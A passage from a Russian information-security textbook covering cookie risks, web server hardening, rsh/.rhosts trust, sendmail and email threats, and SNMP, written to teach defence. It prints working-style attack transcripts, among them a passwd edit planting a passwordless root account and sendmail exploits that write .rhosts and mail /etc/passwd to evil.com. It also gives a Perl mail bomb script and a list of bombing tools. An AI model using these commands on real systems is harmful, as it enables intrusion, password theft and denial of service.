Многие узлы используют cookies для реализации различных схем контроля доступа. Например, узел, на котором доступ контролируется по имени пользователя и паролю, может послать пользователю cookie при первом соединении. После этого сервер даст доступ к защищенным страницам в том случае, если браузер может вернуть правильный cookie. Это дает серверу ряд удобств, не последнее из которых - отсутствие необходимости поиска имени пользователя и пароля в БД при каждом обращении. Но если такая система построена не вполне аккуратно, она может быть использована третьими лицами. Например, cookie может быть перехвачен по пути от браузера к серверу и использован для получения НСД к данным. Поскольку браузер применяет систему имен доменов для идентификации сервера, существует возможность заставить браузер послать cookie на неправильный сервер, временно нарушив систему DNS. Конечно, если cookies долгоживущие, то их можно просто украсть с жесткого диска машины пользователя. Ограничивая время жизни cookie, разработчик уменьшает размер потенциального ущерба, который может быть вызван cookie, возможность использования его после перехвата оказывается ограниченной во времени. При разработке критических приложений может оказаться разумным полностью шифровать канал между сервером и браузером. Cookies окажутся зашифрованными вместе со всей остальной информацией.
Cookies не могут быть использованы с целью "воровства" информации о пользователе или его компьютерной системе. Они могут быть употреблены только для сбора информации, которую пользователь сам тем или иным образом предоставляет. Для примера: если он заполняет какую-нибудь форму ввода и указывает любимый цвет, сервер может преобразовать эту информацию в cookie и послать ее обратно браузеру пользователя. При следующем соединении с сервером браузер вернет
234 Информационная безопасность открытых'систем
cookie, и сервер сможет установить фоновый цвет своих страниц в соответствии со вкусами пользователя.
Однако cookies могут быть использованы и менее безобидным образом. Каждое обращение к веб-серверу оставляет о пользователе некоторую информацию. Среди всех этих кусочков информации присутствуют такие данные, как IP-адрес компьютера, марка используемого браузера, ОС, адрес просматриваемой страницы и адрес той страницы, которую просматривали перед обращением. Без механизма cookie было бы практически невозможно систематически отслеживать эту информацию и изучать поведение пользователя WWW. Для этого потребовалось бы сравнение тысяч файлов трассировки на множестве веб-серверов.
Также при использовании cookie-файлов, во-первых, на жесткий диск записывается информация, что само по себе вызывает тревогу у любого пользователя, а, во-вторых, обработка этих файлов происходит в фоновом режиме, в большинстве случаев без ведома пользователя.
В Unix файл cookie находится в директории пользователя и имеет имя -/.netscape /cookies. Пользователи Windows могут найти подобную информацию в файле cookies.txt, расположенном в директории C:\Programs\Netscape\Navigator; пользователи Macintosh могут посмотреть в системном каталоге под пунктом Preferences:Nets-саре. Пользователи Microsoft Internet Explorer должны обратиться к файлу C:\Windows\Cookies.
Разработаны специальные диспетчеры cookie-файлов - утилиты для отслеживания и управления ими. Выделяют три вида этих диспетчеров: первые, используются просто для блокировки всех cookie-файлов; вторые не препятствуют передаче cookie-файлов на ПК, но можно удалить их все сразу; третьи делают доступными для пользователей такие функции, как блокирование cookie-файлов, пересылаемых с конкретных веб-узлов, и индивидуальное удаление cookie-файлов.
Вот ряд полезных рекомендаций, которых следует придерживаться на вебсерверах [http://www.w3.org/Security/Faq/]:
1.	Ограничить число пользователей в системе. Удалить ненужных пользователей.
2.	Следить за тем, чтобы пользователи, имеющие возможность входа в систему, правильно выбирали пароли.
3.	Отключить службы, которые не используются. Например, если не нужен FTP-вход на машину, на которой установлен веб-сервер, тогда следует физически уничтожить ftp-демон (т. е. стареть файл ftpd). То же самое касается tftp, sendmail, клиентов NIS, NFS, finger, systat и т. п. Проверить файл /etc/inetd.conf на наличие демонов, которые могут скрываться в системе, и "закомментировать" те, которые не используются.
Многие узлы предпочитают использовать одни и те же директории для демонов FTP и WWW. Это безопасно в том случае, если для внешнего пользователя FTP закрыта возможность записи на сервере файла, который может быть затем запущен демоном WWW. Рассмотрим веб-сервер, настроенный на запуск любого файла с расширением .cgi. Злоумышленник, используя доступ через FTP, сохраняет на сервере свой исполняемый файл и присваивает ему расширение .cgi. После этого он запрашивает файл через браузер, обращаясь к веб-серверу. Результат - выполнение на машине любых команд.
3. Уязвимость открытых систем на примере интранета
235
Можно объединять области доступа FTP и WWW, но при этом ограничивать пространство, доступное для сохранения файлов через FTP, директорией "incoming" и не предоставлять пользователю nobody прав на чтение из этой директории.
4.	Удалить оболочки и интерпретаторы, кроме тех, которые необходимы. Например, если не используются скрипты на основе Perl, то удалить интерпретатор Perl.
5.	Регулярно проверять файлы трассировки системы и WWW на предмет обнаружения следов подозрительной активности (например, с помощью Tripwire).
6.	Убедиться, что правильно установлены права доступа для системных файлов (например, с помощью программ COPS или Administrator Assistant Toolkit от Midwestern Commerce в зависимости от ОС). Разрешить изменения только тем пользователям, которым доверяем. Например, создать группу пользователей www, к которой добавляют надежных авторов веб-документов и к которой относится администратор веб-сервера. Только этой группе пользователей разрешается запись в корневую директорию для документов. В Unix нужно отредактировать файл /etc/passwd так, чтобы сделать корневую директорию сервера домашней директорией пользователя www. Отредактировать файл /etc/group так, чтобы добавить всех разработчиков к группе www. Корневая директория сервера, содержащая конфигурационные файлы и файлы трассировки, должна быть организована так, чтобы только пользователь www имел право записи в ней. Эта директория не должна быть общедоступна для чтения. Директория cgi-bin и ее содержимое должны быть общедоступны для чтения и выполнения, но не для записи (если есть доверие разработчикам, входящим в группу www, то им можно разрешить запись). Ниже приведен пример установки прав доступа к каталогам сервера.
drwxr-xr-x 5 www www'1024 Aug 8 00:01 cgi-bin/
drwxr-x— 2 www www 1024 Jun 11 17:21 conf/
-rwx--1 www www 109674 May 8 23:58 httpd
drwxrwxr-x 2 www www 1024 Aug 8 00:01 htdocs/
drwxrwxr-x 2 www www 1024 Jun 3 21:15 icons/
drwxr-x-- 2 www www 1024 May 4 22:23 logs/
Иные требования относятся к корневой директории дерева документов. Все файлы, которые нужно предоставлять пользователям, должны быть доступны для чтения сервером в то время, когда он работает с правами пользователя nobody. Если нужно дать разработчикам документов возможность свободно добавлять файлы к дереву документов, то следует сделать корневую директорию дерева документов и ее подкаталоги принадлежащими пользователю и группе www, общедоступными для чтения и доступными для записи пользователями группы www:
drwxrwxr-x 3 www www 1024 Jul 1 03:54 contents
drwxrwxr-x 10 www www 1024 Aug 2319:32 examples
-rw-rw-r-1 www www 1488 Jun 13 23:30 index.html
-rw-rw-r-11stein www 39294 Jun 11 23:00 resource_guide.html
Многие серверы позволяют открывать доступ к частям дерева документов только для браузеров с определенными IP-адресами или для внешних пользователей, предоставляющих правильный пароль. Однако в некоторых случаях администраторы системы могут закрыть доступ к некоторым HTML-документам для внутренних пользователей, не имеющих на это права. Тогда возникнет проблема, если корневая директория дерева документов общедоступна для чтения. Одно из решений состоит в
236
Информационная безопасность открытых систем
том, чтобы запускать сервер не с правами пользователя nobody, а с правами другого непривилегированного пользователя из группы www. Тогда можно сделать защищенные документы доступными для чтения группой www, но не всеми пользователями (и не давать группе www прав записи в директории дерева документов).
7.	Правильно установить права доступа для всех скриптов CGI. Если сервер запускается с правами пользователя root, но в процессе работы применяет права доступа другого пользователя, особенно важно запретить запись в директории, содержащей файлы трассировки, для того пользователя, правами которого располагает сервер при работе. Это может приводить к тому, что некоторые ошибки в скриптах CGI станут гораздо более опасными, чем в иных ситуациях. Например, если ошибка в скрипте позволяет удаленному пользователю выполнять произвольные команды на сервере, то пользователь может получить права доступа root, заменив файл трассировки ссылкой на файл /etc/passwd. При перезапуске сервера ссылка сделает владельцем файла /etc/passwd пользователя nobody. Он теперь может редактировать файл /etc/passwd и добавлять в систему новых пользователей. Тогда нужно хотя бы изменить права доступа к директории с файлами трассировки сервера так, чтобы запретить запись для пользователя, с правами которого работает сервер. После этого создать пустые файлы трассировки (log) и идентификатора процесса (pid), принадлежащие этому пользователю (сервер не будет запускаться в случае, если не сможет открыть эти файлы). Хотя это не лучшее решение, поскольку оно позволяет редактировать файлы трассировки, такая конфигурация все-таки лучше той, которая применяется по умолчанию.
3.4.7. Команды удаленного выполнения
Как отмечалось выше, в ОС Unix существует понятие "доверенный хост". Напомним, что доверенным по отношению к данному хосту называется сетевой компьютер, доступ на который пользователю с данного хоста возможен без его аутентификации и идентификации с помощью команд удаленного выполнения: RPC и R-Commands.
R-команды вовсе не игнорируют концепцию аутентификации; скорее они представляют собой попытку воспользоваться тем, что пользователь уже прошел процедуру регистрации в системе на своем компьютере. При атаке на R-службу вся сложность для атакующего заключается в том, что ему необходимо послать пакет от имени доверенного хоста, т. е. в качестве адреса отправителя указать IP-адрес доверенного хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.
Команды удаленного выполнения типа rlogin, rsh, гехес и гср для проверки прав доступа используют два файла. Проблема rlogin/rsh в том, что если файл /etc/hosts.equiv существует в системе или пользователь имеет файл .rhosts, то пользователю пароль не нужен. Файл .rhosts содержит список имен пользователей и IP-адресов хостов, с которых любая из команд удаленного выполнения может быть принята без последующей аутентификации. Если злоумышленник сможет так или иначе добавить запись в файл .rhosts, система будет считать его "своим". Злоумышленник может при помощи FTP или UUCP (Unix-Unix-CoPy) поместить файл .rhosts в систему и затем беспрепятственно использовать rlogin — команду для доступа к удаленному компьютеру в режиме удаленного терминала. Одна из лазеек в безопасности - это одиночный "+" в файле доверительного хоста /etc/hosts.equiv ("+" - это специальное
3. Уязвимость открытых систем на примере интранета	237
соглашение для NIS), при наличии которого любой пользователь с любого хоста сможет зарегистрироваться под любым именем, кроме root, без указания пароля. Поскольку специальный пользователь bin, как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, можно изменить файл паролей так, чтобы получить привилегии доступа root. Это можно сделать примерно следующим способом [44]: evil % whoami bin evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell-
victim % Is -Idg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02/etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1 Instant root shell:/:/bin/sh; cat pw.old) > passwd
victim % AD
evil % rlogin victim.com -I toor
Welcome to victim.com!
victim #
Запуск csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Но при этом удаленный командный процессор не подключается к псевдотерминалу, поэтому полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh в случае успешного завершения оставалась совершенно незамеченной, поэтому можно порекомендовать использовать регистратор внешних TCP-подключений, который может помочь обнаружить такую деятельность.
Файлы .rhosts и /etc/hosts.equiv дают злоумышленнику доступ к другим компьютерам проще, чем любой другой метод. Современные скрипты ищут файлы .rhosts и /etc/hosts.equiv в системах с целью получения информации о топологии доверенных хостов. Далее они используют такие бюджеты и компьютеры для расширения действий по взлому.
Более новые версии rlogin применяют аутентификацию и шифрование. Как и с Telnet, такие функции применяются для демонов rlogind и файлов /etc/inetd.conf, защищая rlogin. Несмотря на это, если rlogin-подключения разрешены, то нужно "оборачивать" все R-commands, запускаемые в /etc/inetd.conf, в программы типа ТСР-wrappers и препятствовать использованию .rhosts, возможно, даже устанавливая скрипт для сокращения числа файлов .rhosts в системе по часам.
Программа rsh (remote shell) позволяет отдавать команды shell удаленному хосту. При этом (что является чрезвычайно важным в данном случае!) для того, чтобы отдать команду, достаточно послать запрос, но необязательно получать на него ответ. Rsh позволяет получить полный доступ к удаленной машине и выполнять на ней любые команды. Например, можно получить файл с паролями, используя команду rsh our_target.com cat /etc/passwd » our_target.com_passwd. rsh.
Хорошо установить пакет SSH (Secure Shell), являющийся более безопасной заменой для rlogin/rsh/rcp, и затем отключить и rlogin и Telnet в файле /etc/inetd.conf. SSH может использоваться для сильного шифрования при удаленном доступе к оболочками (командным процессорам), удаленном выполнении команд, пересылке фай
238
Информационная безопасность открытых систем
лов, а также для других прикладных задач. Кроме того, SSH предлагает множество методов аутентификации, включая те, в основе которых лежит пара "имя пользователя - пароль" и открытый ключ. Известно два основных вида применения SSH: стандартные SSH-соединения и SSH-туннели.
Первый подход используется для организации зашифрованного соединения с удаленным сервером, позволяющим получить доступ к командной строке и дающим возможность пересылать файлы между клиентом и сервером или удаленно выполнять команды. В большинстве Unix SSH-клиент включен в ОС по умолчанию. Одним из наиболее популярных бесплатных SSH-клиентов Windows является PuTTY [http://www.chiark.geenend.org/uk/~sgtatham/putty]. Установка программных средств сервера SSH также не вызывает особых затруднений. Во многих системах семейства Unix имеется демон SSH (sshd), установленный по умолчанию. SSH-серверы обычно осуществляют прослушивание только порта 22 (TCP). Тогда систему защиты необходимо настроить так, чтобы разрешить трафик на этот порт. С точки зрения безопасности SSH-сервер лучше всего использовать на границе сети, в экранированной ее части. Внешним пользователям можно разрешить инициировать соединения SSH только с этим сервером. Пройдя аутентификацию на данном сервере, они смогут добраться до других хостов внутренней сети, поддерживающих SSH.
SSH имеет функцию, называемую перенаправлением портов (port forwarding), что подразумевает выбор произвольного локального порта, который с помощью SSH-соединения связывается с определенным удаленным хостом или портом. После установления соединения SSH-клиент выполняет прослушивание трафика на определенном локальном порте. Любой трафик (имеются в виду только пакеты протокола TCP), поступающий на этот порт, отправляется на удаленный SSH-сервер через туннель. Эта технология известна как SSH-туннелирование. Ее можно использовать для различных служб и приложений. Для каждой пары "хост-порт" требуется отдельный туннель.
Удаленный вызов процедур RPC был разработан Sun Microsystems как основа для предоставления сервисов Unix-системам, объединненым в локальную сеть. Протокол RPC используется службами NFS и NIS. Подобно R-командам, эти службы предназначены для сред, образуемых заслуживающими доверия пользователями и оборудованием. Их уязвимости, связанные с RPC, были рассмотрены выше.
RPC является одним из протоколов, используемых и в ОС Windows. RPC предоставляет механизм взаимодействия процессов, который позволяет выполнять про-грамный код на удаленной машине прозрачно для процесса. Этот протокол был разработан на основе протокола OSF (Open Software Foundation) RPC protocol с добавлением специфических для Microsoft расширений. Весной 2003 г. была обнаружена уязвимость в той части RPC, которая инкапсулируется в протокол TCP, вследствие ошибки при обработке некорректных сообщений. Это уязвимость процесса RPC Endpoint Mapper, который прослушивает 135-й TCP/IP-порт. RPC Endpoint Mapper позволяет клиентам определить номера портов, назначенные RPC-сервисам. Чтобы использовать эту уязвимость, злоумышленнику требуется создать соединение TCP с Endpoint Маррег-процессом на удаленной машине. После этого, перед тем как послать некорректный пакет, злоумышленнику потребуется создать RPC-соединение. В результате произойдет отказ в работе процесса. Так как RPC Endpoint Mapper процесс обслуживает все соединения RPC на машине и является дочерним процессом
3. Уязвимость открытых систем на примере интранета
239
RPC-сервисов, то это может вызвать "зависание" всей службы. Компания Microsoft выпустила "заплатку" для Windows 2000 и Windows ХР. Вследствие ограничений архитектуры Windows NT4 компания Microsoft не может создать аналогичной "заплатки" к этой ОС. В качестве частичного решения проблемы предлагается закрыть 135-й TCP-порт на МЭ.
3.4.8. SENDMAIL И ЭЛЕКТРОННАЯ ПОЧТА
Sendmail [http://www.sendmail.org] - это одна из наиболее широко используемых программ рассылки электронной почты, которая поддерживает создание очередей, переписывает заголовки писем, списки рассылки и т. п. Примерно 50—75 % серверов в Интернете используют ее для обмена почтой. Это неудивительно, поскольку в ОС Unix и Linux она установлена по умолчанию. Реализуется данная программа в виде SMTP-сервера (Simple Mail Transfer Protocol - простой протокол передачи почты) и конфигурируется так, как должен работать привилегированный процесс. Это означает, что если ее защиту можно обойти каким-либо способом, то атакующий может нанести вред, существенно превышающий удаление электронных писем.
О первых попытках взлома sendmail стало известно еще в 1988 г. В течение последних лет sendmail была значительно усовершенствована в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Вероятность обнаружения новых изъянов в системе ее защиты по-прежнему достаточно велика.
Программа sendmail является, возможно, одной из наиболее уязвимых. Через порт с номером 25 (на этом порту работает программа рассылки почты sendmail по протоколу SMTP) злоумышленники могут посылать ложные сообщения и пользоваться ошибками программы, чтобы исправлять файлы и выполнять команды. Практически в любом руководстве по отладке sendmail можно найти рекомендации по использованию Telnet для ручного взаимодействия с сервером sendmail через стандартный ввод с клавиатуры команд протокола. Опасность заключается в том, что демон sendmail запускается в момент загрузки системы и имеет максимальные, т. е. привилегированные, права доступа к ресурсам. В ряде систем при сбое или принудительном останове работы программы в интерактивном режиме можно было попасть в режим командного интерпретатора с правами администратора системы. Понятно, что это то, о чем мечтает любой взломщик. В последних версиях sendmail эта ошибка устранена. Известный "червь Интернета" (Internet Worm) 1988 г. использовал ошибки в sendmail, чтобы распространиться по Интернету.
Одна из проблем sendmail была связана с командой debug. С ее помощью, например, можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним decode, имеющий ряд проблем [44].
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25 connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 9318:00 PDT expn decode
250 <"|/usr/bin/uudecode”>
quit
240	Информационная безопасность открытых систем
Наличие псевдонима decode подвергает систему риску, что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи.
evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com
В части sendmail, отвечающей за пересылку, были две хорошо исследованные ошибки. Первая была устранена в версии sendmail 5.59. Для версий до 5.59 в приведенном примере, несмотря на сообщения об ошибках, к файлу .rhosts вместе с обычными почтовыми заголовками добавляется evil.com.
% cat evil_sendmail
telnet victim.com 25 « EOSM
rcpt to: /home/hacker/.rhosts
mail from: hacker data
rcpt to: /home/hacker/.rhosts
mail from: hacker data
evil.com
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is 'Л]'.
Connection closed by foreign host.
evil % rlogin victim.com -I hacker
Welcome to victim.com!
victim %
Вторая ошибка, уже исправленная, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так:
evil % telnet victim.com 25
Trying 128.128.128.1
Connected to victim.com
Escape character is ’л]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 9318:04
mail from: “|/bin/mail hacker@evil.com < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd'1... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown data
354 Enter mail, end withon a line by itself
250 Mail accepted
quit
Connection closed by foreign host.
evil %
3. Уязвимость открытых систем на примере интранета
241
Еще пример: в реализации синтаксического разбора адреса в почтовом сервере sendmail присутствовала ошибка, приводящая к переполнению буфера и позволяющая злоумышленнику в результате этого выполнить подготовленный им код (с помощью специально сформированных почтовых сообщений) и таким образом получить контроль над системой. Исправление для ошибки включено в sendmail 8.12.9. Поэтому уместна одна важная рекомендация: при использовании sendmail необходимо постоянно отслеживать появление ее новых версий и устанавливать модифицированные версии по мере их появления.
Многие из проблем sendmail связаны с переполнением буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Один из самых популярных методов взлома sendmail заключался в использовании недостатка версии 4.1, проявляющегося в том, что взломщик мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin.
Помимо универсальных методов для получения НСД часто применяются средства, специфичные для sendmail. Например, одним из распространенных методов является создание или модификация пользовательского файла —/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле —/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении.
Кроме того, с помощью программы sendmail, а точнее, ее команд vrfy ("проверить") и ехрп ("пояснить") можно идентифицировать пользовательские учетные записи.
Все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя.
Остановимся подробнее на основных угрозах, связанных с электронной почтой вообще. Основные почтовые протоколы [SMTP, POP3 (Post Office Protocol), IMAP4 (Internet Mail Access Protocol)] обычно не осуществляют надежной аутентификации. Поэтому, например, при определенных настройках SMTP-сервера это позволяет легко создать письма с фальшивыми адресами. А протокол SMTP может быть использован в атаках с целью разведки, например применение команды VRFY для определения имен пользователей на удаленной системе. В базовой конфигурации ни один из этих протоколов не применяет криптографию, которая могла бы гарантировать конфиденциальность электронных писем. Хотя существуют расширения этих протоколов, предоставляющие такие возможности. Решение использовать их должно быть явно принято как составная часть политики администрации почтового сервера. Некоторые такие расширения используют уже имеющиеся средства аутентификации, а другие позволяют клиенту и серверу согласовать тип аутентификации, который будет использоваться в данном соединении.
1.	Фальшивые адреса отправителя. Адресу отправителя в электронной почте нельзя доверять, так как отправитель может указать фальшивый обратный адрес, или заголовок может быть модифицирован в ходе передачи письма, или отправитель может сам соединиться с SMTP-портом на компьютере, от имени которого он хочет отправить письмо, и ввести текст письма.
242
Информационная безопасность открытых систем
2.	Перехват письма. Заголовки и содержимое электронных писем передаются в чистом виде. В результате содержимое сообщения может быть прочитано или изменено в процессе передачи его по Интернету. Заголовок может быть модифицирован для того, чтобы скрыть или изменить отправителя или чтобы перенаправить электронное сообщение.
3.	Почтовые бомбы. Почтовая бомба - это атака с помощью электронной почты. Атакуемая система переполняется письмами до тех пор, пока она не выйдет из строя. Как это будет реализовано, зависит от типа почтового сервера и от того, как он сконфигурирован. Возможны следующие типовые варианты вывода почтового сервера из строя:
•	Почтовые сообщения принимаются до тех пор, пока диск, где они размещаются, не переполнится. Все последующие письма не принимаются. Если этот диск также яляется основным системным диском, то вся система может аварийно завершить работу.
	Входная очередь переполняется сообщениями, которые нужно обработать и передать дальше, до тех пор пока не будет достигнут предельный размер очереди. Последующие сообщения не попадут в очередь.
•	У некоторых почтовых систем можно установить максимальное число почтовых сообщений или максимальный общий размер сообщений, которые пользователь может принять за один раз. Последующие сообщения будут отвергнуты или уничтожены.
	Может быть превышена квота диска для данного пользователя. Это помешает приему последующих писем и может помешать ему выполнять другие действия. Восстановление может оказаться трудным для пользователя, так как ему может понадобиться дополнительное дисковое пространство для удаления писем.
	Большой размер почтового ящика может затруднить получение системным администратором системных предупреждений и сообщений об ошибках.
•	Посылка почтовых бомб в список рассылки может привести к тому, что его подписчики могут отказаться от дальнейшей подписки.
Приведем пример почтовой бомбы, написанной на языке Perl. Пока 1000 раз почтовым сервером не будет принято напечатанное в программе сообщение, он не сможет принимать никакие другие электронные сообщения. Это ведет к резкому снижению производительности его работы за счет выполнения бесполезных действий. Реализация для Unix очень проста.
#1 /bin/perl
$maiiprog = ‘ /usr/lib/sendmail’;
$recipient = ‘victim@targeted_site.com‘;
$variable_initialized_to_0 = 0;
while ($variable_initialized_to_0 < 1000)
{
open (MAIL, “|$mailprog $recipient”) || die “Can’t open $mailprog!\n“;
print MAIL “You Suck!“;
close (MAIL);
sleep 3;
$variableJnitlalized_to_0++;
}•
3. Уязвимость открытых систем на примере интранета
243
Вот, например, представленный на хакерском узле по адресу http://home.sol.no/ ~acidkick/acidkick/index.html?url=bombz.html далеко не полный список некоторых программ, рассылающих почтовые бомбы, с комментариями хакера:
"HakTekl - Powerful, Great e-mail bombing, port scanz, ping lagging...
Unabomber - A solid e-mail bomber, good graphics and concept.
Anonymous E-mailer - Not really an e-mail bomber, just used to send mail as another person.
Kaboom v3.0 - Very good bomber indeed....
Avalanche v3.0 - Good E-Mail Bomber and highly Recommended
Avalanche v3.4 - great E-mail bomber too...
Avalanche v5.0 - great E-mail bomber too...
Up Yours v4.0 - Recent Release of UP Yours.... Tha best!
Bomb-A-Holicz - Lotz of bomberzll!
Serpent - Check it out...
Typhoon - Check it out...
Bombsquad - Recovery Program".
4. Угрожающие письма. Так как любой человек в мире может посылать письма другому человеку, то может оказаться трудным заставить его прекратить делать это. Люди могут узнать требуемый почтовый адрес из списка адресов организации, списка лиц, подписавшихся на какой-либо список рассылки, или писем в Usenet. Если где-то на веб-узле был введен почтовый адрес пользователя, то он может быть продан держателями узла "почтовым мусорщикам". Некоторые веб-браузеры сами передают почтовый адрес его владельца при посещении узлов. Много почтовых систем имеет возможность фильтрации почты, т. е. поиска указанных слов или словосочетаний в заголовке письма или его теле, и последующего помещения его в определенный почтовый ящик и удаления. Но большинство пользователей не знает, как применить механизм фильтрации. Кроме того, фильтрация у клиента происходит после того, как письмо уже получено или загружено, поэтому таким образом тяжело удалить большие объемы писем.
Для безопасной атаки может использоваться анонимный ремэйлер (пересыльщик почты). Когда кто-то хочет послать оскорбительное или угрожающее письмо и при этом скрыть свою личность, он может воспользоваться анонимным ремэйлером. Если человек хочет послать электронное письмо, не раскрывая свой домашний адрес тем, кто может угрожать ему, он может тоже использовать анонимный ремэйлер. Если он начнет вдруг получать нежелательные письма по своему текущему адресу, он может отказаться от него и взять новый.
Одним часто используемым средством защиты, применяемым некоторыми пользователями Usenet, является конфигурирование своих клиентов для чтения новостей таким образом, что в поле Reply-То (обратный адрес) письма, посылаемого ими в группу новостей, помещается фальшивый адрес, а реальный адрес находится в сигнатуре или в теле сообщения. Таким образом программы сбора почтовых адресов, собирающие адреса из поля Reply-То, окажутся бесполезными.
5. Спэм. Данная атака проносит очень много проблем пользователям электронной почты. "Спэмминг" (spamming) - это массовая рассылка бесполезной электронной почты (спэма), чаще всего коммерческого и рекламного характера о продуктах и услугах. В настоящее время термин "спэм" практически стал бранным словом для обозначения всякой "виртуальной помойки", постепенно сливаясь с более общим термином "junk mail" - "мусорная (т. е. ненужная адресату) почта".
244
Информационная безопасность открытых систем
Злоумышленником случайно выбирается доменное имя и отгадывается имя хоста почтового SMTP-сервера. Если этот сервер примет почту, спэммер просит его распространить сообщение по списку адресов. Сервер исполняет запрос, создавая впечатление, что сообщения исходят с IP-адреса компании-жертвы.
Анализируя атаки на электронную почту, приходится констатировать, что наиболее часто из них встречаются следующие:
1)	атаки, связанные с перехватом сообщений электронной почты, что может нанести ущерб репутации фирмы, создать о ней неверное представление;
2)	из-за уязвимости почтового ПО возможно нарушение качества обслуживания;
3)	источником риска может быть разрушающее ПО, например вирус, полученное по электронной почте.
Безопасность электронной почты должна обеспечиваться на уровне как администратора сети, так и конечных пользователей. И если от первого можно ожидать определенного профессионализма, то ситуация с последними гораздо сложнее. Иногда именно пользователь является агентом злоумышленника, с помощью которого и осуществляется атака. Поэтому служба электронной почты должна быть организована так, чтобы администратор мог обнаружить как можно больше потенциальных инцидентов до того, как они станут реальной угрозой для сети. У него должны быть средства, позволяющие при необходимости ретранслировать сообщения, сканировать вложения, проверять и поддерживать надежную аутентификацию, блокировать спэм и вирусы и делать многое другое. Для этого система электронной почты предприятия организуется так, чтобы весь почтовый трафик (по крайней мере, трафик между интранетом и Интернетом) проходил через один почтовый сервер, играющий роль перенаправителя (или просто прокси-сервера) для остальных почтовых серверов организации.
И ряд заключительных рекомендаций по программе sendmail. Лучшим методом защиты от попыток взлома является отказ от ее использования во всех случаях, когда она не требуется для получения почты по сети. Если без sendmail все же не обойтись, то это должна быть ее самая последняя версия, в которой установлены все модули обновления системы защиты. Также существуют дополнительные утилиты, призванные восполнить недостаточную защищенность sendmail. Такими утилитами, например, являются smap и smapd - программы, входящие в комплект поставки пакета TIS, который можно бесплатно получить по адресу http://www.tis.com/research/software/. Утилита smap используется для безопасного получения сообщений по сети и их размещения в специально выделенном каталоге. Утилита smapd периодически проверяет этот каталог и доставляет почту адресатам, используя для этого sendmail или какую-либо другую программу. Данный подход позволяет разорвать связь между sendmail и нелегальными пользователями, поскольку все соединения для получения почты устанавливает утилита smap, а не sendmail. И наконец, можно перейти к использованию более надежного почтового агента, такого, как qmail [http://www.qmail.org, автор-Дэн Бернштейн (Dan Bernstein)] или postfix [http://www.postfix.com/, автор - Вите Ве-нема (Wietse Venema)].
3.4.9. Другие утилиты
Есть и другие утилиты, которые могут привести к раскрытию информации или помочь злоумышленникам во взломе. При помощи утилиты nslookup злоумышлен
3. Уязвимость открытых систем на примере интранета
245
ник может получить список всех хостов сети с ОС, типами компьютеров и другой важной информацией, а при помощи протокола управления сетью SNMP (Simple Network Management Protocol) - общий набор статистических данных о работе сети и другую важную информацию, включая данные о маршрутизации [http://web-sup-port.ru/net-security/sec_53.shtml]. Оговоримся, что в таком случае сеть можно защитить, предварительно установив МЭ, или запретив запросы к определенным адресам или введя полный запрет доступа извне к серверам по именам.
В протоколе SNMPvl защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (community), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. Например, если злоумышленник получит значение поля community, то при помощи операции SET он может захватить контроль над любым устройством, конфигурация которого предусматривает удаленное управление через SNMP.
Стандартами защиты SNMPv2 определяются методы аутентификации (Digest Authentication Protocol, DAP) и обеспечения конфиденциальности (Symmetric Privacy Protocol, SPP) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером. Но и в этой версии SNMP также неоднократно обнаруживались уязвимости, связанные с обработкой некорректных SNMP-запросов и позволяющие осуществлять, например, атаки "отказ в обслуживании" на удаленные системы.
Современные SNMP-агенты позволяют составлять списки доступа, основанные на IP-адресах. Последняя версия протокола - SNMPv3 - устанавливает правила безопасности на трех различных уровнях. Самый нижний не дает никаких гарантий в отношении аутентификации и неприкосновенности переписки; средний обеспечивает аутентификацию, но без неприкосновенности переписки, а высший гарантирует оба этих атрибута. Такая трехуровневая модель составляет основу всех остальных частей SNMPv3, т. е. каждое сообщение имеет свой уровень безопасности, который должен сохраняться и учитываться каждой из подсистем: безопасности, управления доступом, приложений, обработки и управления сообщениями. В SNMPv3 выполняется кодирование передаваемой информации, идентифицируются пользователи, передающие запросы, гарантируется целостность сообщения с помощью цифровой подписи и применяются к каждому запросу сложные правила контроля доступа с высокой степенью дифференциации категорий пользователей.
